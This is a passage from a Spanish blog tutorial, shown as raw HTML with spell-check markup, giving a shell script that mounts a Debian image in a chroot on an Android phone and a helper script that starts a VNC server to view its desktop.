id="SPELLING_ERROR_243"&gt;export&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_244"&gt;PATH&lt;/span&gt;=$&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_245"&gt;bin&lt;/span&gt;:/&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_246"&gt;usr&lt;/span&gt;/&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_247"&gt;bin&lt;/span&gt;:/&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_248"&gt;usr&lt;/span&gt;/&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_249"&gt;sbin&lt;/span&gt;:/&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_250"&gt;bin&lt;/span&gt;:$&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_251"&gt;PATH&lt;/span&gt;&lt;br /&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_252"&gt;export&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_253"&gt;TERM&lt;/span&gt;=&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_254"&gt;linux&lt;/span&gt;&lt;br /&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_255"&gt;export&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_256"&gt;HOME&lt;/span&gt;=/&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_257"&gt;root&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_258"&gt;if&lt;/span&gt; [ ! -d $&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_259"&gt;mnt&lt;/span&gt; ]; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_260"&gt;then&lt;/span&gt;&lt;br /&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_261"&gt;mkdir&lt;/span&gt; $&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_262"&gt;mnt&lt;/span&gt;&lt;br /&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_263"&gt;fi&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;echo ----------------------------------------&lt;br /&gt;echo LISTADO VARIABLES:&lt;br /&gt;echo &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_264"&gt;BIN&lt;/span&gt;: $&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_265"&gt;bin&lt;/span&gt;&lt;br /&gt;echo &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_266"&gt;IMG&lt;/span&gt;: $&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_267"&gt;img&lt;/span&gt;&lt;br /&gt;echo &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_268"&gt;MNT&lt;/span&gt;: $&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_269"&gt;mnt&lt;/span&gt;&lt;br /&gt;echo &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_270"&gt;PATH&lt;/span&gt;: $&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_271"&gt;PATH&lt;/span&gt;&lt;br /&gt;echo &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_272"&gt;TERM&lt;/span&gt;: $&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_273"&gt;TERM&lt;/span&gt;&lt;br /&gt;echo &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_274"&gt;HOME&lt;/span&gt;: $&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_275"&gt;HOME&lt;/span&gt;&lt;br /&gt;echo ----------------------------------------&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;echo ----------------------------------------&lt;br /&gt;echo "Montando la imagen Debian"&lt;br /&gt;echo "&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_276"&gt;mount&lt;/span&gt; -t &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_277"&gt;ext&lt;/span&gt;2 -o &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_278"&gt;rw&lt;/span&gt;,&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_279"&gt;noatime&lt;/span&gt;,&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_280"&gt;nodiratime&lt;/span&gt;,&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_281"&gt;loop&lt;/span&gt; $&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_282"&gt;img&lt;/span&gt; $&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_283"&gt;mnt&lt;/span&gt;"&lt;br /&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_284"&gt;busybox&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_285"&gt;mount&lt;/span&gt; -t &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_286"&gt;ext&lt;/span&gt;2 -o &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_287"&gt;rw&lt;/span&gt;,&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_288"&gt;noatime&lt;/span&gt;,&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_289"&gt;nodiratime&lt;/span&gt;,&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_290"&gt;loop&lt;/span&gt; $&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_291"&gt;img&lt;/span&gt; $&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_292"&gt;mnt&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;echo ----------------------------------------&lt;br /&gt;echo "Vinculando &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_293"&gt;pts&lt;/span&gt;, &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_294"&gt;proc&lt;/span&gt; y &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_295"&gt;sysfs&lt;/span&gt; al entorno &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_296"&gt;chroot&lt;/span&gt;"&lt;br /&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_297"&gt;busybox&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_298"&gt;mount&lt;/span&gt; -t &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_299"&gt;devpts&lt;/span&gt; /&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_300"&gt;dev&lt;/span&gt;/&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_301"&gt;pts&lt;/span&gt; $&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_302"&gt;mnt&lt;/span&gt;/&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_303"&gt;dev&lt;/span&gt;/&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_304"&gt;pts&lt;/span&gt;&lt;br /&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_305"&gt;busybox&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_306"&gt;mount&lt;/span&gt; -t &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_307"&gt;proc&lt;/span&gt; /&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_308"&gt;proc&lt;/span&gt; $&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_309"&gt;mnt&lt;/span&gt;/&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_310"&gt;proc&lt;/span&gt;&lt;br /&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_311"&gt;busybox&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_312"&gt;mount&lt;/span&gt; -t &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_313"&gt;sysfs&lt;/span&gt; /&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_314"&gt;sysfs&lt;/span&gt; $&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_315"&gt;mnt&lt;/span&gt;/&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_316"&gt;sys&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;echo ----------------------------------------&lt;br /&gt;echo "Habilitando &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_317"&gt;enrutado&lt;/span&gt;"&lt;br /&gt;echo 1 &amp;gt; &lt;code&gt;/&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_319"&gt;proc&lt;/span&gt;/&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_320"&gt;sys&lt;/span&gt;/&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_321"&gt;net&lt;/span&gt;/&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_322"&gt;ipv&lt;/span&gt;4/&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_323"&gt;ip&lt;/span&gt;_&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_324"&gt;forward&lt;/span&gt;&lt;/code&gt;&lt;br /&gt;echo ----------------------------------------&lt;br /&gt;echo "Definiendo &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_325"&gt;DNS&lt;/span&gt; y /etc/&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_326"&gt;hosts&lt;/span&gt; en el &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_327"&gt;chroot&lt;/span&gt;"&lt;br /&gt;echo "&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_328"&gt;nameserver&lt;/span&gt; 8.8.8.8" &amp;gt; $&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_330"&gt;mnt&lt;/span&gt;/etc/&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_331"&gt;resolv&lt;/span&gt;.&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_332"&gt;conf&lt;/span&gt;&lt;br /&gt;echo "&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_333"&gt;nameserver&lt;/span&gt; 8.8.4.4" &amp;gt;&amp;gt; $&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_336"&gt;mnt&lt;/span&gt;/etc/&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_337"&gt;resolv&lt;/span&gt;.&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_338"&gt;conf&lt;/span&gt;&lt;br /&gt;echo "127.0.0.1 &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_339"&gt;localhost&lt;/span&gt;" &amp;gt; $&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_341"&gt;mnt&lt;/span&gt;/etc/&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_342"&gt;hosts&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;echo ----------------------------------------&lt;br /&gt;echo "Montando /&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_343"&gt;mnt&lt;/span&gt;/&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_344"&gt;sdcard&lt;/span&gt; en el &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_345"&gt;chroot&lt;/span&gt;"&lt;br /&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_346"&gt;if&lt;/span&gt; [ ! -d $&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_347"&gt;mnt&lt;/span&gt;/&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_348"&gt;mnt&lt;/span&gt;/&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_349"&gt;sdcard&lt;/span&gt; ]; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_350"&gt;then&lt;/span&gt;&lt;br /&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_351"&gt;mkdir&lt;/span&gt; $&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_352"&gt;mnt&lt;/span&gt;/&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_353"&gt;mnt&lt;/span&gt;/&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_354"&gt;sdcard&lt;/span&gt;&lt;br /&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_355"&gt;fi&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_356"&gt;busybox&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_357"&gt;mount&lt;/span&gt; --&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_358"&gt;bind&lt;/span&gt; /&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_359"&gt;mnt&lt;/span&gt;/&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_360"&gt;sdcard&lt;/span&gt;/ $&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_361"&gt;mnt&lt;/span&gt;/&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_362"&gt;mnt&lt;/span&gt;/&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_363"&gt;sdcard&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;echo ----------------------------------------&lt;br /&gt;echo "Montando /&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_364"&gt;mnt&lt;/span&gt;/&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_365"&gt;sdcard&lt;/span&gt;/_&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_366"&gt;ExternalSD&lt;/span&gt; en el &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_367"&gt;chroot&lt;/span&gt;"&lt;br /&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_368"&gt;if&lt;/span&gt; [ ! -d $&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_369"&gt;mnt&lt;/span&gt;/&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_370"&gt;mnt&lt;/span&gt;/&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_371"&gt;sdcard&lt;/span&gt;/_&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_372"&gt;ExternalSD&lt;/span&gt; ]; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_373"&gt;then&lt;/span&gt;&lt;br /&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_374"&gt;mkdir&lt;/span&gt; $&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_375"&gt;mnt&lt;/span&gt;/&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_376"&gt;mnt&lt;/span&gt;/&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_377"&gt;sdcard&lt;/span&gt;/_&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_378"&gt;ExternalSD&lt;/span&gt;&lt;br /&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_379"&gt;fi&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_380"&gt;busybox&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_381"&gt;mount&lt;/span&gt; --&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_382"&gt;bind&lt;/span&gt; /&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_383"&gt;mnt&lt;/span&gt;/&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_384"&gt;sdcard&lt;/span&gt;/_&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_385"&gt;ExternalSD&lt;/span&gt; $&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_386"&gt;mnt&lt;/span&gt;/&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_387"&gt;mnt&lt;/span&gt;/&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_388"&gt;sdcard&lt;/span&gt;/_&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_389"&gt;ExternalSD&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;echo #####################################&lt;br /&gt;echo "&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_390"&gt;Entering&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_391"&gt;The&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_392"&gt;MATRIX&lt;/span&gt;... "&lt;br /&gt;echo " "&lt;br /&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_393"&gt;chroot&lt;/span&gt; $&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_394"&gt;mnt&lt;/span&gt; /&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_395"&gt;bin&lt;/span&gt;/&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_396"&gt;bash&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;echo " "&lt;br /&gt;echo #####################################&lt;br /&gt;echo "Saliendo &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_397"&gt;The&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_398"&gt;MATRIX&lt;/span&gt;... "&lt;br /&gt;echo " "&lt;br /&gt;&lt;br /&gt;echo ----------------------------------------&lt;br /&gt;echo "Desmontando /&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_399"&gt;mnt&lt;/span&gt;/&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_400"&gt;sdcard&lt;/span&gt;/_&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_401"&gt;ExternalSD&lt;/span&gt; en el &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_402"&gt;chroot&lt;/span&gt;"&lt;br /&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_403"&gt;busybox&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_404"&gt;umount&lt;/span&gt; $&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_405"&gt;mnt&lt;/span&gt;/&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_406"&gt;mnt&lt;/span&gt;/&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_407"&gt;sdcard&lt;/span&gt;/_&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_408"&gt;ExternalSD&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;echo ----------------------------------------&lt;br /&gt;echo "Desmontando /&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_409"&gt;mnt&lt;/span&gt;/&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_410"&gt;sdcard&lt;/span&gt; en el &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_411"&gt;chroot&lt;/span&gt;"&lt;br /&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_412"&gt;busybox&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_413"&gt;umount&lt;/span&gt; $&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_414"&gt;mnt&lt;/span&gt;/&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_415"&gt;mnt&lt;/span&gt;/&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_416"&gt;sdcard&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;echo ----------------------------------------&lt;br /&gt;echo "&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_417"&gt;Deshabilitando&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_418"&gt;enrutamiento&lt;/span&gt;"&lt;br /&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_419"&gt;sysctl&lt;/span&gt; -w net.ipv4.ip_forward=0&lt;br /&gt;&lt;br /&gt;echo ----------------------------------------&lt;br /&gt;echo "&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_420"&gt;Desvinculando&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_421"&gt;pts&lt;/span&gt;, &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_422"&gt;proc&lt;/span&gt; y &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_423"&gt;sysfs&lt;/span&gt; del &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_424"&gt;chroot&lt;/span&gt;"&lt;br /&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_425"&gt;busybox&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_426"&gt;umount&lt;/span&gt; $&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_427"&gt;mnt&lt;/span&gt;/&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_428"&gt;dev&lt;/span&gt;/&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_429"&gt;pts&lt;/span&gt;&lt;br /&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_430"&gt;busybox&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_431"&gt;umount&lt;/span&gt; $&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_432"&gt;mnt&lt;/span&gt;/&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_433"&gt;proc&lt;/span&gt;&lt;br /&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_434"&gt;busybox&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_435"&gt;umount&lt;/span&gt; $&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_436"&gt;mnt&lt;/span&gt;/&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_437"&gt;sys&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;echo ----------------------------------------&lt;br /&gt;echo "Desmontando imagen Debian"&lt;br /&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_438"&gt;busybox&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_439"&gt;umount&lt;/span&gt; $&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_440"&gt;mnt&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;echo ----------------------------------------&lt;br /&gt;echo "Remontando /&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_441"&gt;system&lt;/span&gt; como solo lectura"&lt;br /&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_442"&gt;busybox&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_443"&gt;mount&lt;/span&gt; -o &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_444"&gt;remount&lt;/span&gt;,ro -t &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_445"&gt;ext&lt;/span&gt;4 /&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_446"&gt;dev&lt;/span&gt;/&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_447"&gt;block&lt;/span&gt;/&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_448"&gt;mtdblock&lt;/span&gt;3 /&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_449"&gt;system&lt;/span&gt;&lt;br /&gt;echo ----------------------------------------&lt;br /&gt;&lt;br /&gt;Guardamos y salimos.&lt;br /&gt;&lt;br /&gt;Le asignamos el 777 de la muerte:&lt;br /&gt;&lt;span style="font-size:85%;"&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_471"&gt;chmod&lt;/span&gt; 777 /&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_472"&gt;system&lt;/span&gt;/&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_473"&gt;xbin&lt;/span&gt;/&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_474"&gt;bootdebian&lt;/span&gt;.&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_475"&gt;sh&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Lo ejecutamos:&lt;br /&gt;&lt;span style="font-size:85%;"&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_476"&gt;bootdebian&lt;/span&gt;.&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_477"&gt;sh&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Con todo esto tenemos una Debian totalmente operativa, pero vamos a ponerle la guinda al pastel &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_478"&gt;consiguiendo&lt;/span&gt; las X en este sistema, yo &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_479"&gt;personalmente&lt;/span&gt; no he sido capaz de arrancar las X dentro del &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_480"&gt;chroot&lt;/span&gt;, lo que hago es arrancar un servidor &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_481"&gt;VNC&lt;/span&gt; y conectar desde &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_482"&gt;Android&lt;/span&gt; a la Debian del &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_483"&gt;chroot&lt;/span&gt;.&lt;br /&gt;&lt;br /&gt;Para arrancar el servidor &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_484"&gt;VNC&lt;/span&gt; dentro del &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_485"&gt;chroot&lt;/span&gt; es necesario definir cierta variable y eliminar ficheros de sesiones &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_486"&gt;VNC&lt;/span&gt; anteriores:&lt;br /&gt;&lt;span style="font-size:85%;"&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_487"&gt;export&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_488"&gt;USER&lt;/span&gt;=&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_489"&gt;root&lt;/span&gt;&lt;br /&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_490"&gt;rm&lt;/span&gt; /&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_491"&gt;tmp&lt;/span&gt;/.X*-&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_492"&gt;lock&lt;/span&gt;&lt;br /&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_493"&gt;rm&lt;/span&gt; /tmp/.X11-unix/X*&lt;br /&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_494"&gt;vncserver&lt;/span&gt; -&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_495"&gt;geometry&lt;/span&gt; 800x480&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Pedirá &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_496"&gt;password&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Para no tener que hacer esto cada vez que queremos arrancar el servicio nos creamos un &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_497"&gt;mini&lt;/span&gt;-&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_498"&gt;script&lt;/span&gt;:&lt;br /&gt;&lt;br /&gt;vi &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_499"&gt;vnc&lt;/span&gt;.&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_500"&gt;sh&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;#!/&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_501"&gt;bin&lt;/span&gt;/&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_502"&gt;bash&lt;/span&gt;&lt;br /&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_503"&gt;export&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_504"&gt;USER&lt;/span&gt;=&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_505"&gt;root&lt;/span&gt;&lt;br /&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_506"&gt;rm&lt;/span&gt; /&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_507"&gt;tmp&lt;/span&gt;/.X*-&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_508"&gt;lock&lt;/span&gt; 2&amp;gt;/&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_510"&gt;dev&lt;/span&gt;/&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_511"&gt;null&lt;/span&gt;&lt;br /&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_512"&gt;rm&lt;/span&gt; /tmp/.X11-unix/X* 2&amp;gt;/&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_514"&gt;dev&lt;/span&gt;/&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_515"&gt;null&lt;/span&gt;&lt;br /&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_516"&gt;vncserver&lt;/span&gt; -&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_517"&gt;geometry&lt;/span&gt; 800x480&lt;br /&gt;&lt;br /&gt;chmod +x &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_499"&gt;vnc&lt;/span&gt;.&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_500"&gt;sh&lt;br /&gt;./vnc.sh&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;Ahora desde &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_518"&gt;Android&lt;/span&gt; con algún cliente &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_519"&gt;VNC&lt;/span&gt; del estilo &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_520"&gt;androidVNC&lt;/span&gt; ya podremos conectar en local al servidor del &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_521"&gt;chroot&lt;/span&gt; y obtendremos un bonito gestor de ventanas como respuesta ;)&lt;br /&gt;&lt;br /&gt;Cuando se salga del &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_522"&gt;chroot&lt;/span&gt; hay que matar &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_523"&gt;vnc&lt;/span&gt; y la sesión &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_524"&gt;lxde&lt;/span&gt;:&lt;br /&gt;vi &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_525"&gt;kill&lt;/span&gt;_&lt;span class="blsp-spelling-error" 